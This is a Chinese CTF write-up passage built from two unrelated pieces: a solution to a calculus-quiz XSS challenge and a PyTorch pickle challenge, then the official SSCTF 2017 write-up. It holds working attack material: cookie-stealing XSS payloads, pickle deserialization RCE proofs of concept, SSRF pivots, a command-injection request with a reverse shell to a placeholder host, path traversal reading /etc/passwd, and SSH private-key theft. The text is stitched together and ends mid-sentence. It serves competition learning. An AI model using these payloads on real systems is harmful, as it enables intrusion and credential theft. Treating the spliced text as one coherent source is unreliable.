> 作为某门符号计算课程的助教，为了让大家熟悉软件的使用，他写了一个小网站：上面放着五道简单的题目，只要输入姓名和题目答案，提交后就可以看到自己的分数。
>
>
> [点击此链接访问练习网站](http://202.38.93.111:10056/?token=3769%3AMEUCIQDxxj46AjSZ8APu8g0Zo54tLjaUKvcCSoal%2FzOg5Q5%2BRQIgRZkzgB3uoXTiRJiOklEO0h1xyIFG50Qnn6s4WwNfcY8%3D)
>
> 想起自己前几天在公众号上学过的 Java
> 设计模式免费试听课，本着前后端离心（咦？是前后端离心吗？还是离婚？离。。离谱？总之把功能能拆则拆就对啦）的思想，小 X
> 还单独写了一个程序，欢迎同学们把自己的成绩链接提交上来。
>
> 总之，因为其先进的设计思想，需要同学们做完练习之后手动把成绩连接贴到这里来：
>
> [点击此链接提交练习成绩
> URL](http://202.38.93.111:10057/?token=3769%3AMEUCIQDxxj46AjSZ8APu8g0Zo54tLjaUKvcCSoal%2FzOg5Q5%2BRQIgRZkzgB3uoXTiRJiOklEO0h1xyIFG50Qnn6s4WwNfcY8%3D)
>
>
>
1.sagemath（round保留一位小数）
* 定积分函数：definite_integral(函数,变量,下界,上界) 无穷用oo表示
* 求极限：lim(函数，自变量极限)
* 求导：derivative(函数,自变量)(自变量值)
所以答案是：
<http://202.38.93.111:10056/share?result=MTAwOjExMjMxMg%3D%3D#>
虽然是对的，但是不给flag，嘻嘻
2.XSS
随便填，提交后代码如下：
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="/static/bootstrap/css/bootstrap.min.css">
<title>微 积 分 计 算 小 练 习</title>
</head>
<body>
<div class="container px-3 py-3">
<h1>练习成绩页面</h1>
<p id="greeting">您好，[[ username ]]！</p>
<p id="score">您在练习中获得的分数为 <b>[[ score ]]</b>/100。</p>
<p><a href="#" id="copy">点击此链接，将页面 URL 复制到剪贴板。</a>你可返回平台，在「提交练习成绩 URL」处提交这里复制的 URL。</p>
<br>
<a href="/">再试一次</a>
</div>
<script>
function click() {
var url = window.location.href;
var input = document.createElement('input');
input.setAttribute('readonly', 'readonly');
input.setAttribute('value', url);
document.body.appendChild(input);
input.select();
if (document.execCommand('copy')) {
document.execCommand('copy');
alert('已复制到剪贴板');
}
document.body.removeChild(input);
}
document.querySelector("#copy").addEventListener("click", click);
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const result = urlParams.get('result');
const b64decode = atob(result);
const colon = b64decode.indexOf(":");
const score = b64decode.substring(0, colon);
const username = b64decode.substring(colon + 1);
document.querySelector("#greeting").innerHTML = "您好，" + username + "！";
document.querySelector("#score").innerHTML = "您在练习中获得的分数为 <b>" + score + "</b>/100。";
</script>
</body>
</html>
先分析click，window.location.herf为当前打开页面，document.createElement为创建input的HTML标签。input.setAttribute向input标签填属性，和value不同的是setAttribute会直接向input添加属性而不是只改变输入框的内容。document.body.appendChild把input追加到body部分。document.execCommand()指点击链接时把url
copy到剪切板。所以click的作用就是
点击此链接，复制到剪切板
重点在于后面定义的几个常量。在页面上显示的"您好，1"和分数都在innerHTML内，但事实上innerHTML具有很大的漏洞。innerHTML虽然不执行\<script>标签，但是XSS事件是不需要script标签进行XSS的。
windows.location.search获取url字符串，经过URLSearchParams解析后用atob解码base64,然后:签名为分数后面为用户名。
`<img src=a onclick="alert(1)">` base64后传入result，点击图片处发生弹窗
但是不方便，用onerror，图片herf乱写是一定会加载错误的。
在bot.py里给出了提交链接的源码：
from selenium import webdriver
import selenium
import sys
import time
import urllib.parse
import os
# secret.py will NOT be revealed to players
from secret import FLAG, BOT_SECRET
LOGIN_URL = f'http://web/?bot={BOT_SECRET}'
print('Please submit your quiz URL:')
url = input('> ')
# URL replacement
# In our environment bot access http://web
# If you need to test it yourself locally you should adjust LOGIN_URL and remove the URL replacement source code
# and write your own logic to use your own token to "login" with headless browser
parsed = urllib.parse.urlparse(url)
parsed = parsed._replace(netloc="web", scheme="http")
url = urllib.parse.urlunparse(parsed)
print(f"Your URL converted to {url}")
try:
options = webdriver.ChromeOptions()
options.add_argument('--no-sandbox') # sandbox not working in docker
options.add_argument('--headless')
options.add_argument('--disable-gpu')
options.add_argument('--user-data-dir=/dev/shm/user-data')
os.environ['TMPDIR'] = "/dev/shm/"
options.add_experimental_option('excludeSwitches', ['enable-logging'])
with webdriver.Chrome(options=options) as driver:
ua = driver.execute_script('return navigator.userAgent')
print(' I am using', ua)
print('- Logining...')
driver.get(LOGIN_URL)
time.sleep(4)
print(' Putting secret flag...')
driver.execute_script(f'document.cookie="flag={FLAG}"')
time.sleep(1)
print('- Now browsing your quiz result...')
driver.get(url)
time.sleep(4)
try:
greeting = driver.execute_script(f"return document.querySelector('#greeting').textContent")
score = driver.execute_script(f"return document.querySelector('#score').textContent")
except selenium.common.exceptions.JavascriptException:
print('JavaScript Error: Did you give me correct URL?')
exit(1)
print("OK. Now I know that:")
print(greeting)
print(score)
print('- Thank you for joining my quiz!')
except Exception as e:
print('ERROR', type(e))
import traceback
traceback.print_exception(*sys.exc_info(), limit=0, file=None, chain=False)
其中最为重要的是三个driver.execute_script执行JS代码匹配#greeting,#score对象并输出，并把flag写入JS的cookie中。所以把cookie写入到#greeting或者#score其中一个内就会把flag输出。
payload:`1:<img src=a onerror='var
b=document.cookie;document.querySelector("#greeting").textContent=b;'>`
base64加密后复制url至terminal ctrl+shift+V
## 二次元神经网络
> 天冷极了，下着雪，又快黑了。这是一年的最后一天——大年夜。在这又冷又黑的晚上，一个没有 GPU、没有 TPU
> 的小女孩，在街上缓缓地走着。她从家里出来的时候还带着捡垃圾捡来的 E3 处理器，但是有什么用呢？跑不动 Stable Diffusion，也跑不动
> NovelAI。她也想用自己的处理器训练一个神经网络，生成一些二次元的图片。
> 于是她配置好了 PyTorch 1.9.1，定义了一个极其简单的模型，用自己收集的 10 张二次元图片和对应的标签开始了训练。
>
>
> SimpleGenerativeModel(
> (tag_encoder): TagEncoder(
> (embedding): Embedding(63, 8, padding_idx=0)
> )
> (model): Sequential(
> (0): Linear(in_features=16, out_features=8, bias=True)
> (1): ReLU()
> (2): Linear(in_features=8, out_features=8, bias=True)
> (3): ReLU()
> (4): Linear(in_features=8, out_features=64 * 64 * 3, bias=True)
> (5): Tanh()
> )
> )
>
> 她在 CPU 上开始了第一个 epoch 的训练，loss 一直在下降，许多二次元图片重叠在一起，在向她眨眼睛。
> 她又开始了第二个 epoch，loss 越来越低，图片越来越精美，她的眼睛也越来越累，她的眼睛开始闭上了。
> ...
> 第二天清晨，这个小女孩坐在墙角里，两腮通红，嘴上带着微笑。新年的太阳升起来了，照在她小小的尸体上。
> 人们发现她时才知道，她的模型在 10 张图片上过拟合了，几乎没有误差。
> （完）
> 听完这个故事，你一脸的不相信：「这么简单的模型怎么可能没有误差呢？」，于是你开始复现这个二次元神经网络。
### python反序列化知识
python通过loads反序列化，dumps序列化。和php一样可以序列化字符串、数组、数和类
pickletools可以反汇编一个序列化出来的字符串，方便调试，分析案例见`https://xz.aliyun.com/t/7436`，文章详细介绍了反系列化原理，并且给出了opcode的用法
通用的poc，利用`__reduce__`RCE
import pickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" # 要执行的命令
return os.system, (s,) # reduce函数必须返回元组或字符串
e = genpoc()
poc = pickle.dumps(e)
print(poc) # 此时，如果 pickle.loads(poc)，就会执行命令
但是需要一次执行多个函数时就不能光用`__reduce__`，reduce一次只能执行一个函数(除了exec可以堆叠执行命令)。当然这道题就一个reduce就可以了。opcode的编写实例：
# main.py
import pickle
import secret
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
print('before:',secret.name)
output=pickle.loads(opcode.encode())
print('output:',output)
print('after:',secret.name)
上述代码用`c`获取全局变量secret，用`d`建立一个字典，`b`用栈的第一个元素做key,第二个元素做属性，`(`压栈，`S''`为字符串对象，`.`结束。所以以上代码的意思为name=1对全局变量name的值进行覆盖。
同理，构造函数可以用`R`,`i`,`o`
1. R
b'''cos
system
(S'whoami'
tR.'''
`cos`import库，`t`表示从上一个`(`开始把后面的元素组合为元组，上述代码只有一个`S‘whoami'`，就构成`['whoami']`，R表示栈的第一个对象`system`作为函数，第二个对象也就是`['whoami']`作为参数调用函数，组合起来就是`system(whoami)`（不需要单引号包裹whoami因为已经用S’‘表示了数据类型）
1. i
b'''(S'whoami'
ios
system
.'''
`s`生成system-whoami键值对并添加到栈的第三个对象，并把whoami和system出栈，o实例化system-whoami对象，i调用o实现函数调用。`system(whoami)`
1. o
b'''(cos
system
S'whoami'
o.'''
o操作调用system为函数，whoami为参数执行。和R区别不同的是参数对象不用为元组
### 题解
如果认真了解过python反序列化，每篇文章开始几乎都会介绍python反序列化的入口函数，也就是pickle模块的pickle.load和pickle.loads，而torch.load反序列化的方式和pickle.load完全相同，所以利用方式也相同。
题目打开为如下界面：
下载解压附件2d_model.zip。题目描述上传模型由infer.py运行。infer.py源码：
import io
import json
import base64
import torch
import matplotlib
import matplotlib.image
from models import SimpleGenerativeModel
def infer(pt_file):
# load input data
tag_ids = torch.load("dataset/tags_10.pt", map_location="cpu")
# args
n_tags = 63
dim = 8
img_shape = (64, 64, 3)
# load model
model = SimpleGenerativeModel(n_tags=n_tags, dim=dim, img_shape=img_shape)
model.load_state_dict(torch.load(pt_file, map_location="cpu"))
# generate noise
torch.manual_seed(0)
n_samples = tag_ids.shape[0]
noise = torch.randn(n_samples, dim)
# forward
with torch.no_grad():
model.eval()
predictions = model(noise, tag_ids).clamp(0, 1)
gen_imgs = []
for i in range(n_samples):
out_io = io.BytesIO()
matplotlib.image.imsave(out_io, predictions[i].numpy(), format="png")
png_b64 = base64.b64encode(out_io.getvalue()).decode()
gen_imgs.append(png_b64)
# save the predictions
json.dump({"gen_imgs_b64": gen_imgs}, open("/tmp/result.json", "w"))
if __name__ == "__main__":
infer(open("checkpoint/model.pt", "rb"))
print(open("/tmp/result.json", "r").read())
在checkpoint目录下有训练好的model.pt，上传后误差很大（机器学习大佬可以考虑训练精准度很高的模型试着上传）
infer.py加载tags_10.pt对上传的model.pt进行预测，并在训练结束后把答案写进/tmp/result.json中，而在dataset里还有另一个模型，为pixels_10.pt（train.py训练模型的代码如下）。所以构造的关键就是向/tmp/result.json中写入标准的序列化模型。
本题所用的机器学习的知识仅有：训练是指创建模型，向模型展示标签样本，让模型学习特征和标签的关系；推断是指训练后的模型做出有用的预测。train.py便是创建模型。infer.py便是让模型做出预测。预测的标准答案就在pixels.pt里
所以payload如下：（因为eval代码执行和本身执行的原因，需要对\和单引号转义）
import io
import json
import base64
import torch
import matplotlib
import matplotlib.image
# 加载正确答案
pixel="pixels_10.pt"
predictions = torch.load(pixel, map_location="cpu")
# 向/tmp/result.json中写入正确数据
gen_imgs = []
for i in range(10):
out_io = io.BytesIO()
matplotlib.image.imsave(out_io, predictions[i].numpy(), format="png")
png_b64 = base64.b64encode(out_io.getvalue()).decode()
gen_imgs.append(png_b64)
content = json.dumps({"gen_imgs_b64": gen_imgs})
content.replace('\\', '\\\\').replace("'", "\\'")
# 构造要执行的 python 代码
args = "open('/tmp/result.json', 'w').write('" + content + "')"
# 通过 __reduce__ 方法执行 python 代码
class Exploit(object):
def __reduce__(self):
return (eval, (args,))
torch.save(Exploit(), "model_exp.pt", _use_new_zipfile_serialization=False)
将生成的model_exp.pt上传，就能匹配正确值
刚入门机器学习的，比如我，会遇到由于版本不对无法安装torch的问题，查看自己python支持的版本有三种方法，一个一个试：
1. import pip._internal.pep425tags
print(pip._internal.pep425tags.get_supported())
2.
import wheel.pep425tags
print(wheel.pep425tags.get_supported())
1. python -m pip debug --verbose
不过最大的问题是torch在32位的python下是无法正常工作的，需要装64位的python，只需要把64位python的系统变量写在32位之上(python和script)。整了一晚上，太坑了
还有一种手法不需要正确的答案，而是用前面定义的参数（也就是正确的n_tags,dim,img_shape）写入到/tmp/result.json，但是后面的json.dump和open也会执行，所以进行了绕过。具体见大佬博客：`https://blog.tonycrane.cc/p/169d9f3d.html#%E4%BA%8C%E6%AC%A1%E5%85%83%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C`
最后一个你先别急sqlite注入可以用验证码识别进行布尔盲注，或者手工，但是会慢一点，很多大佬都写过了。
参考链接：`https://exexute.github.io/2019/04/24/how-hacking-with-LaTex/` | 社区文章 |
# 【CTF 攻略】第三届 SSCTF 全国网络安全大赛—线上赛官方 Writeup
##### 译文声明
本文是翻译文章，文章来源：四叶草安全实验室
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
传送门
[](http://bobao.360.cn/ctf/activity/421.html)
[第三届 SSCTF 全国网络安全大赛—线上赛圆满结束！](http://bobao.360.cn/ctf/activity/421.html)
2017年5月6日-7日，在陕西省互联网信息办公室、陕西省通信管理局指导下，由陕西省网络安全信息协会、西安四叶草信息技术有限公司与北京兰云科技有限公司联合主办，17家大型互联网行业的SRC和14家专业媒体以及新华网、新浪网、搜狐网、凤凰网、陕西网等20多家媒体的大力支持下，第三届SSCTF全国网络安全大赛—线上初赛圆满结束。
**
**
**杂项**
**杂项一（签到题）**
此次SSCTF签到题不再是简单的个二维码类似的送分题，老司机们都玩腻了，搞了密码大杂烩。
Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ==
**考察知识点：**
Base64
栅栏密码
凯撒密码
**解题步骤：**
首先base64解码
然后栅栏密码解密
然后rot13解密获得flag
答案：ssctf{ssCtf_seC10ver#@rabit}
**杂项二（flag在哪里）**
Flag在哪里主要考察的pcap的数据包分析和git的使用技巧。
1.在网站下载经过处理的流量包
2.用wireshark 进行分析。发现一个与.git相似目录。
3.然后用githack工具跑
4.查看源码，发现有flag,和pass.php,但是没用。
5．联想到可能flag和 pass.php 是以前commit的，用git还原回去
6．得到flag，flag{xsL3HOvFlV+H40s0mhszc5t1x38EU0ZIFJHZ/h2sC3U=}但是里边不是最终提交的flag，需要用pass.php进行解密。
7.解密完提交flag。 Flag{f6daf9bf00e45f52f23d844f20952503}
**杂项三（互相伤害！！！）**
用Wireshark打开流量包，发现存在多个jpg文件，导出http对象将jpg文件提取出来，如图01所示。
图01
提取出共21个jpg文件，可以看出全部为斗图素材，如图02所示。
图02
发现有两张图片经过修改，分别为图03和图04。
图03
图04
图03文字内容可以简单理解为“扔下内衣，交出内裤”，观察斗图素材发现图05符合上述描述。
图05
使用binwalk对文件进行分析，发现里面隐藏了一个zip文件，如图06所示。
图06
使用binwalk对文件进行提取，获取到里面的zip文件，发现需要密码才能解压，如图07所示。
图07
图04可以看到一个二维码，扫描二维码，得到一个字符串“U2FsdGVkX1+VpmdLwwhbyNU80MDlK+8t61sewce2qCVztitDMKpQ4fUl5nsAZOI7
bE9uL8lW/KLfbs33aC1XXw==“
在图04下方可以看到一段小字“本发布会由AES独家赞助”，AES算法属于对称密码，加解密需要提供密码，小字上面的CTF即为密码。通过解密得到明文：668b13e0b0fc0944daf4c223b9831e49。
解压图07的压缩包得到一个二维码，如图08所示。
图08
扫描图08得到字符串：“扔下内衣真有一线生机？？？？交出内裤才有活路！！！！“。
发现图08的二维码中心还有一个二维码，将小二维码截取出来，进行反转颜色，得到一个新的二维码，扫码得到flag：flag{97d1-0867-2dc1-8926-144c-bc8a-4d4a-3758}
**杂项四（我们的秘密是绿色的）**
由我们的秘密是green想到：OurSecret这个工具，然后解密还缺一个密码
又由绿色的猜测密码0405111218192526
生日格式 xxxx年 xx月 xx日
又因为文件名字是try，猜测是暴力破解8位纯数字密码
得到密码解压获得两个文件
很明显的明文攻击，构建明文攻击条件（将有flag的压缩文件删除掉里边的flag压缩包，然后压缩readme.txt。注意压缩的算法为Deflate，用rar可以轻松实现），然后进行明文攻击。
得到密码：Y29mZmVl
用winhex打开发现是伪密码，将01改为00
解压得到flag.txt
栅栏密码
已经出来flag的格式
Rot13
答案：flag{ssctf_@seclover%coffee_*}
**杂项五（你知道我在等你么）**
**0x1.题目：你知道我在等你么**
**0x2.考察知识点：**
隐写
文件标识头
**0x3.解题步骤：**
拿到题目后用winhex打开文件，发现有pk，也就是压缩包的标识头
然后将文件后缀修改为zip，然后解压发现有三个文件
有提示先看提示
扫码获得：
说是不是让看内容。
压缩包打开发现是加了密码的。
Winhex打开MP3会发现有压缩包的密码
解压之后发现一张coffee的图片，没有无缘无故的文件名字跟内容，winhex打开搜索coffee，还记得提示里边的神龙摆尾么，看一看文件的结尾
再看看提示的文件结尾
Coffee.jpg里边藏了一张png图片，并且标识头还改掉了，就在coffee的地方，还原。
将coffee到文件结尾复制出来，然后新建一个文件，之后按照提示的格式修改文件标识头，修改好后会得到一张图片
是一个二维码，扫描二维码后得到：http://qr07.cn/CuzwSv
访问得到：
下载后打开发现：
又是一个压缩包
修改后缀后打开，发现有以下提示。。。
压缩包伪密码，修改为0
修改完解压得到
Base64码
解码获得keyis%7Bsec1over%25_6ugscan_@coffee%7D
然后url解码获得：
答案：keyis{sec1over%_6ugscan_@coffee}
**Web渗透**
**Web一（弹幕）**
打开chrome F12,过滤ws类型，可以看到bot会尝试攻击每一个刚进入的玩家
Welcome, 61.1**<img src="/static/images/welcome.gif" onload="c=encodeURIComponent(document.cookie);if(c.length>32){a=new Image();a.src='/xssHentai/request/1/?body='+c;}">
1\. 只有当cookie长度大于32的时候才会攻击，这应该也是一开始没人发现的原因
2\. Bot使用的XSS平台是弹幕这个服务器自带的登录xss平台，发现需要输入密码，这时注册一个进去
可以看到登录cookie里有一个flag，但只有uid=1的“人”才会有，它就是bot
所以思路就很清晰了，反打bot的xss平台的xss
/xssHentai/request/1/?body={{payload}}
没有做任何限制,而且也不算盲打，因为有注册功能，可以自己先测试成功，再打bot。
所以到最后限制弹幕只能发8个字符，也有提示的意思，弹幕这里没flag。
**Web二（捡吗？来自FFF的思路）**
给了个页面，查看源码发现ssrf，根据自身的phpinfo找到本机内网IP：10.23.140.139，根据hint给出的 10.23.173.x
地址段进行扫描，找到 10.23.173.190，查看源码发现新IP：172.17.0.1
以下是当时记录的fuzz过程
一次跳板扫描内网
/news.php?url=10.23.173.190
host1 http://120.132.21.19/ （公）->10.23.140.139 (内)
host2 10.23.173.190 （内） -> 172.17.0.1（内）
以上地址端口扫描结果只有22和80
C段使用端口探测（无结果：22/80/443/23/6379-redis/8080/11211）
两次跳板扫描内网
/news.php?url=172.17.0.1/news.php%3Furl%3D127.0.0.1
公网120.132.21.19->172.17.0.1 ->172.17.0.0/24 未发现其他主机
公网120.132.21.19->10.23.173.190-> 10.23.173.0/24 未发现其他主机
公网120.132.21.19->10.23.173.190-> 172.17.0.0/24 未发现其他主机（和公网访问的一样）
公网120.132.21.19->172.17.0.1-> 10.23.173.0/24 未发现其他主机
公网120.132.21.19->172.17.0.1-> 127.0.0.1 未发现内容
公网120.132.21.19->10.23.173.190-> 127.0.0.1 未发现内容
这段fuzz用了好长时间最终也没有找到结果，后来hint告知了ftp协议才做出来。
最终payload是在大小写绕过的基础上用ftp协议fuzz 21端口得到的结果
http://120.132.21.19/news.php?url=10.23.173.190/news.php%3furl%3dftP%3a//172.17.0.2:21/flag.txt
这题在hint之前我自己并未想到使用ftp协议，原因是当时看到公网SSRF入口页面是这样给的：
<img src="./news.php?url=127.0.0.1/img.jpg">
而读到内网10.23.173.190之后的页面是这样给的：
<img src="./news.php?url=http://172.17.0.1/img.jpg">
当时我已经注意到这里多了个http协议，随后我在payload里加上http协议发现读不到内容，而去掉该协议能够读到内容，换成其他协议也读不到内容，因此猜想背后的php逻辑是这样的：
$url = 'http://'.$_GET['url']
在第二个页面里作者为了提示出第三个网段（172.17.0.1），肯定要手动修改这个页面，也许是习惯性的加了个HTTP。而且这是第一道WEB题，做两跳+fuzz已经对得起这100分了。
事实证明这个http://是一个重要的线索，当时应该再心细一点，测试协议时候再试试绕过，这题就能够更早解出来。
**Web三（白吗？来自FFF的思路）**
题如其名，全是套路。
当时记录的黑盒fuzz结果：
http://120.132.20.149/l.php phpstudy 的phpinfo
http://120.132.20.149/phpinfo.php phpinfo
http://120.132.20.149/phpMyAdmin/ 这个页面好像是静态的，无功能http://120.132.20.149/readme
有很多信息，同时readme.txt也有，很可能是主办方搅屎，不一定可信
web主页被注释的form里只有./submit.php能用，无论怎么提交都是
<script>alert('success');window.location.href='index.php'</script>
/admin的登录界面提交给/admin/check.php，这个页面随意修改参数返回的也都是一样的。
http://120.132.20.149/admin/main.php 固定返回一个<script>，估计也是假的。。。
后来师傅fuzz到了wwwroot.zip然后开始crack，最终发现zip也是假的。
最终队友在web1出了之后，得知SSRF第二跳可以变协议，用file://协议读了本地路径，发现除了/submit.php之外都是静态页面，读取/submit.php源码：
通过三个线索判断这题是XSS:
hint给出的“flag不在数据库中”
源码的“XSS”变量名
黑盒/readme指出的 "1.数据库中每增加一条ID，访问一次"
通过前台测试XSS成功，在referer中发现触发XSS的页面地址：
http://127.0.0.1/admin/b9557ee76eeb61cadda090855a47d266-1.php?id=77930
然后直接file协议读之，得到新路径js.php，再读之得到flag。
利用了web1的SSRF漏洞读取web3的源码才得以突破，可能是非预期解法。
那么另一个解法就是利用web3注释掉的这个form盲打XSS，然后从document.header.innerHTML 中得到 js.php
这一文件名，然后控制admin访问得到flag。
**Web四（WebHook）**
1.思路是先审计代码，然后发现可以控制zip命令的参数，也就说算的上是一个任意文件下载的漏洞。
2.但要执行到build函数，就需要在repos.json中增加自己的项目地址，也就是说调用addrepo
3.要执行addrepo，就需要知道app.config['SECRET_KEY']
4.到这里思路就断了，再次审计代码发现有python格式化漏洞
before = post.get("before") or ""
msg = "recived push repo:{name} with before n"
msg += json.dumps(before, indent=4)
webhooklog.info(msg.format(**locals()))
5.webhooklog是不需要认证就可以读，所以通过before可以泄露出来repos.json中的内容
{"flag": {"url": "https://git.coding.net/ljgame/flag.git", "pass": "d64536833fe79f17fb7f9e0329ee7b47"}}
通过pass这个MD5是能反解的，所以就得到了app.config['SECRET_KEY']
6.此时查看flag项目，发现zip包中并没有flag
7.调用addrepo之后，构造build.json,打包flag项目目录，下载下来的之后发现没有其他分支，在之前的commit中也没有flag
8.尝试打开flag的项目地址，发现是私有项目，再次检查.git中并没有配置账号密码
9.只能是通过私钥的方式webhook服务器才能拉去flag项目，那么最终就是偷私钥
10.私钥常见就是那么几个目录，最终在/home/www-data中找到(www-data在webhook.conf中有提示)
**来自FFF的解题思路**
一道不错的Python审计题，过程中出题人根据选手流量多次热补丁，shell失而复得，最后通过文件读取拿到flag。
题目只给出源码 <https://github.com/howmp/webhook>
源码有6个commit，开赛的时候只有第一个commit，后面是比赛时上的补丁。
本地起环境，看了一下逻辑，得到代码在公网部署的地址，然后跟进os.system很快发现两处命令执行。
这两个执行在build()函数的url参数和branch参数。
if not os.path.isdir(basedir):
r = os.system("git clone %s" % url)
if r != 0:
log.critical('%s clone error' % name)
return
else:
log.info('%s clone ok' % name)
env = 'GIT_DIR="%s/.git" GIT_WORK_TREE="%s/" ' % (basedir, basedir)
# change branch
r = os.system(env + "git checkout master && " + env +
"git pull && " + env + " git checkout %s" % branch)
继续跟进发现限制如下：
1\. url参数命令执行需要得到 SECRET_KEY
2\. branch参数的命令执行需要得知 repos.json 已有仓库的名字
**branch参数RCE**
访问公网http://webhook.ssctf.seclover.com:8000/webhooklog找了一个别人用过的仓库名，通过branch参数的命令执行反弹了第一个shell
POST /push HTTP/1.1
Host: webhook.ssctf.seclover.com:8000
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Length: 101
{"repository":{"name":"flag"},"ref":"refs/heads/test || bash -i >& /dev/tcp/x.x.x.x/x 0>&1"}
拿下shell后进去开始找flag，过程中ps一下发现别人也进来了，当时为了抢一血也没管那么多，找了一会发现服务器挂了。
再次上线的时候主办方说发公告说这个漏洞已经补啦，同时在github更新了代码。
<https://github.com/howmp/webhook/commit/05b2693b89e7a05bff2fd96e9168c6f33930fef4>
[](http://)
这个patch中直接写死了branch参数导致该漏洞无法再被利用。
**url参数RCE(1)**
url参数的利用稍微复杂，需要先通过addrepo()函数修改repos.json，其中有一行校验权限。
if key != md5.md5(repo + app.config['SECRET_KEY'] * 20 + repo).hexdigest():
abort(403)
这里幸亏我刚刚拿shell的时候cat了源码，看到了SECRET_KEY='ssctf'，然后过了这个检验，写入成功，然后执行拿shell。
然后官方发布第二个patch补了这个漏洞。
<https://github.com/howmp/webhook/commit/cd066a896d45a8a8509c8248d02c670e63ebe507>
**url参数RCE(2)**
这个patch修补方案是用正则过滤了一下url参数。
m = re.search(r'https://(github.com|git.coding.net)/w+/(w+).git', url)
if not m:
abort(403)
显然正则是可以绕过的：https://github.com/xxx/xxx.git || shell
然而官方又甩来一记补丁。
<https://github.com/howmp/webhook/commit/33fc0e368fcd7dc09f48a81c37ccfd901fd31f54>
补丁更新了正则，看样子是过不去了。
r'^https://(github.com|git.coding.net)/w+/(w+).git$'
**任意文件读取**
这个时候我发现一血已经出了，索性放松下来再去看源码，发现 dir_listing() 函数一处登录后的文件读取：
@app.route('/', defaults={'req_path': ''})
@app.route('/<path:req_path>')
@auth.login_required
def dir_listing(req_path):
BASE_DIR = os.path.join(app.root_path, 'outfile', session['repo'])
# Joining the base and the requested path
abs_path = os.path.join(BASE_DIR, req_path)
if os.path.isfile(abs_path):
return send_file(abs_path)
这里输入req_path的输入是在路由中。利用方式是首先通过 SECRET_KEY 构造 addrepo() 的 key 参数。
>>> md5.md5('pocserver'+s*20+'pocserver').hexdigest()
'7d6b51081d6daa9afcff082359c20d2d'
然后通过GET /addrepo上传一个repo，注意url要真实有效，repo/pass参数为自己设置的登录名和密码。
http://webhook.ssctf.seclover.com:8000/addrepo?repo=pocserver&key=7d6b51081d6daa9afcff082359c20d2d&url=https://github.com/Xyntax/pocserver.git&pass=fff
上传返回OK后，GET / 填入repo和pass完成登录后通过路由即可读取任意文件。
GET /../../../../../../etc/passwd HTTP/1.1
Host: webhook.ssctf.seclover.com:8000
Cache-Control: max-age=0
Authorization: Basic cG9jc2VydmVyOmZmZg==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: session=eyJyZXBvIjp7IiBiIjoiY0c5amMyVnlkbVZ5In19.C--N3Q.I4NedA1Bak0NauDznRmYm-UMo2w
Connection: close
最终在 .bash_history 中看到管理员指向性操作。
然后读取 /home/www-root/.ssh/id_rsa 复制到本地
登录clone该项目，拿到flag
随后官方又更新了两个patch修复该漏洞
<https://github.com/howmp/webhook/commit/aec06914bc7b3b5d735a4f49e7892020ac1c7ee8>
期待大佬们的其他思路，这题很精彩。
**Web五（CloverSec Logos）**
Web500考察的点注入、文件包好和PHP反序列化漏洞。
Fuzz测试发现过滤or、and、/、–、#、空格、转移符
构造注入的PayLoad如下：
20位的密码应该比较熟悉dedecms的加密方法，去前3后1得到解密admin^g
Token需要被序列化，另外题目提示vim编辑会得到swp文件
可以看到需要够着几个参数secret和token的信息
反序列化后需要绕过对象过滤
修改如下
读取源码
读取inlcude.php泄露的看出flag在ssctf_flag文件
看到并没有读取到flag
使用php伪协议试试
**逆向**
**逆向一（加密勒索软件）**
1.打开app,界面提示需要设置密码，注意这里只允许输入数字，设置密码后提示文件已加密，按钮文字变成“解密”。点击解密提示“刷脸试试”，
没有提示成功，接下来逆向分析代码逻辑。
2.使用jadx打开后，按钮点击函数代码如下：
这段代码先从SharedPreferences中读取“ctf1”配置,如果是0表示没有加密，否则表示已加密。如果没加密，进入“if
(!isEncrypted)
”流程，把输入内容保存到key，要求key是6位长度。然后调用check函数参数就是输入内容，接着提示“文档已加密,请联系xxx解密.”并设置“ctf1”配置为1保存到SharedPreferences；如果已加密，进入“else
if (Main.this.check2(Main.this.flagView.getText().toString()))
”流程，调用check2函数，参数是输入内容。猜测check函数就是加密文档的函数，check2应该就是解密函数了。
3.先大概看一下check函数和check2函数，发现check函数有调用encode函数，该函数內有文件读写操作，那就可以确认，check函数是用来加密文档的；但check2函数调用却没有文件读写操作，这也就说明了check2函数就没有解密文档，按题目提示“这个app类似于一个无良勒索软件”，根据代码分析，这个勒索软件根本没有提供解密功能，需要分析加密算法，对文档进行解密。
4.分析check函数加密算法，对文件进行操作是在encode函数，
可以直接看encode代码，发现关键代码就是每隔0x100进行一个异或：
k1数组是之前运算结果，因为有对k1下标进行取余操作，所以是没法逆回来的，而且会有多解可能。由于是异或，输入密码只有6位数字，可以爆破。
5.直接爆破对ctf1_encode.xlsx进行再次异或即可，但生成文件太多验证起来很麻烦。这里有个技巧，先创建几个xlsx文件，输入内容后保存，再使用010editor打开16进制查看，发现中间会有大段0字节：
然后再看ctf1_encode.xlsx，可以发现大段0字节中间有个别是有内容的和异或位置对应:
0x100=0x57,0x200=0x28,0x400=0x75,0x500=0x67,结合0x00字节异或结果，可以编写爆破算法根据这些位置字符判断，能极大减少生成的xlsx文件样本。
6.完整代码如下：
运行后得到多个key和xslx文件，打开文件即可看到flag：SSCTF{G0odJo13!}
**逆向二（Login）**
1\. 打开app只有输入框和按钮，直接使用jadx反编译分析，发现有代码混淆而且有乱码，打开jadx的反混淆功能再看按钮点击代码：
